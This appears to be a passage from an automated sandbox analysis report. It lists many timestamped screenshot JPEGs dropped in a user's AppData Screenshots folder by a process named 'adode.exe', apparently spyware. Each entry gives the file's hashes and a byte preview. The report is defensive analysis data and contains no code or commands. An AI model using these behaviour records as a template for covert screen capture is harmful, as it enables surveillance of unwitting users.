Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240929_073107.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240929_141453.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240929_195928.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240930_014705.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240930_071030.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240930_123322.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240930_201321.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241003_070712.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241003_124033.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241003_172544.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152561
Entropy (8bit):	7.924902457856507
Encrypted:	false
SSDEEP:	3072:VC9iDj5FYGyQgpgoN6kiTff2FxeYueea8FkcKxgq4W:09iDzKw+6kGff2FxE9xI
MD5:	7040C531FB923AAEC93C461D972554FE
SHA1:	8513DD40994CA497B4E8E04B058EC1985FC47F4B
SHA-256:	BFD6BDB678CB04D15F47A1E0B65692AFCE98AC84BB1D14E87988B53E4B97E029
SHA-512:	10350C00E9CF4A243F43E11162DB07F16A6AACADF7C7E45F8F5766397249E40CEB2165B7CC82C2CAA5504278B7B46C15EEE56320257489BAE171E83E543ED700
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241004_020735.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241004_091655.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241004_154936.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241004_210848.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241005_043014.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241005_100844.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241005_173244.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
